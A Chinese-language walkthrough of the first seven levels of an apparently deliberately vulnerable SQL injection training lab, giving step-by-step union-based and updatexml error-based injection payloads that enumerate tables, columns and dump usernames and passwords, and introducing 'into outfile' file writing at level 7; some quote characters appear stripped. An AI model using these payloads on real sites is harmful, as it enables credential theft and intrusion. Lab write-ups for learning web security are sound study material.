第1关先输入id1有登录的账号和密码判断是数字型注入还是字符型注入输入id1从报错信息可以看出是字符型注入之后查看数据库有多少列?id1 order by 3 --?id1 order by 4 --共有三列之后查看页面所显示的name 和 password 属于数据库中的第几列?id-1 union select 1,2,3 --name是第2列password是第3列之后根据这两列查询出数据库名称?id-1 union select 1,database(),3 --数据库名称是security然后可以查询出该数据库中所有的表和所有的列获取表名?id-1 union select 1, cast(group_concat(table_name) as binary), 3 from information_schema.tables where table_schemasecurity --获取列名?id-1 union select 1, cast(group_concat(column_name) as binary), 3 from information_schema.columns where table_nameusers --查询数据?id-1 union select 1, cast(group_concat(username) as binary), cast(group_concat(password) as binary) from users --第二关查看是否为数字型注入?id1 and 11 -- 页面正常 ?id1 and 12 -- 页面报错或内容消失找字段数?id1 order by 3 -- -- 正常 ?id1 order by 4 -- -- 报错找显示位?id-1 union select 1,2,3 --找数据库名称?id-1 union select 1,database(),3 --找表名?id-1 union select 1, cast(group_concat(table_name) as binary), 3 from information_schema.tables where table_schemasecurity --找字段名?id-1 union select 1, cast(group_concat(column_name) as binary), 3 from information_schema.columns where table_nameusers --查询数据?id-1 union select 1,group_concat(username),group_concat(password) from users --第三关输入?id1→ 正常显示。输入?id1→ 报错因为多了一个引号语句变成(1)多了一个单引号。输入?id1)→ 看看效果语句变成(1))还是多了一个右括号和引号可能报错但错误信息可能提示语法问题。输入?id1) --→ 页面恢复正常因为1)中的)正好闭合了前面的(然后用--注释掉了后面多余的)和LIMIT。如果这一步正常说明闭合方式是)。找字段数?id1) order by 3 -- -- 正常?id1) order by 4 -- -- 报错找显示位?id-1) union select 1,2,3 --找数据库名?id-1) union select 1,database(),3 --找表名?id-1) union select 1, cast(group_concat(table_name) as binary), 3 from information_schema.tables where table_schemasecurity --找字段名?id-1) union select 1, cast(group_concat(column_name) as binary), 3 from information_schema.columns where table_nameusers and table_schemasecurity --查找数据?id-1) union select 1, cast(group_concat(username) as binary), cast(group_concat(password) as binary) from users --第四关和之前一样我们需要通过“试错”来找到正确的闭合方法。输入?id1→ 正常显示说明传入1没问题。输入?id1→ 可能会报错因为多了一个单引号语句变成(1)多出一个未闭合的引号。输入?id1→ 试试双引号语句变成(1)同样可能报错。输入?id1)→ 此时语句变成(1))多了一个)还是有问题。输入?id1) --→ 页面恢复正常因为1)正好闭合了前面的(然后用--注释掉了后面多余的)和LIMIT。其余步骤和第三关一样第五关输入?id1页面显示“You are in...”输入?id2同样显示“You are in...”输入?id100不存在的数据页面什么都没有。先找闭合方式 ?id1 -- 页面报错有语法错误信息 ?id1 -- -- 页面显示You are in...恢复正常MySQL 有两个函数如果我们故意给它们“错误”的参数它们就会报错并且把错误信息显示在页面上。这两个函数是updatexml()—— 最多返回32个字符extractvalue()—— 最多返回32个字符它们的报错信息会出现在页面上找数据库名?id1 and updatexml(1, concat(0x7e, database()), 1) --找表名?id1 and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemasecurity)), 1) --找字段名?id1 and updatexml(1, concat(0x7e, substr((select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemasecurity), 1, 30)), 1) --找数据?id1 and updatexml(1, concat(0x7e, substr((select group_concat(username, :, password) from users), 1, 30)), 1) --第六关找闭合方式?id1 -- 可能报错也可能显示You are in取决于后台 ?id1 -- 试试双引号 ?id1 -- -- 如果这个让页面恢复正常说明闭合方式是双引号其余操作和第五关一样?id1 and updatexml(1, concat(0x7e, substr((select group_concat(username, :, password) from users), 1, 30)), 1) --第七关找闭合方式?id1 -- -- 报错 ?id1 -- -- 报错 ?id1) -- -- 报错 ?id1) -- -- 还是报错 ?id1)) -- -- 页面恢复正常显示You are in.... Use outfile......判断字段数?id1)) order by 3 -- -- 页面正常 ?id1)) order by 4 -- -- 页面报错不是MySQL语法错误而是执行失败页面提示 Use outfile我们就利用into outfile把查询结果写到服务器文件里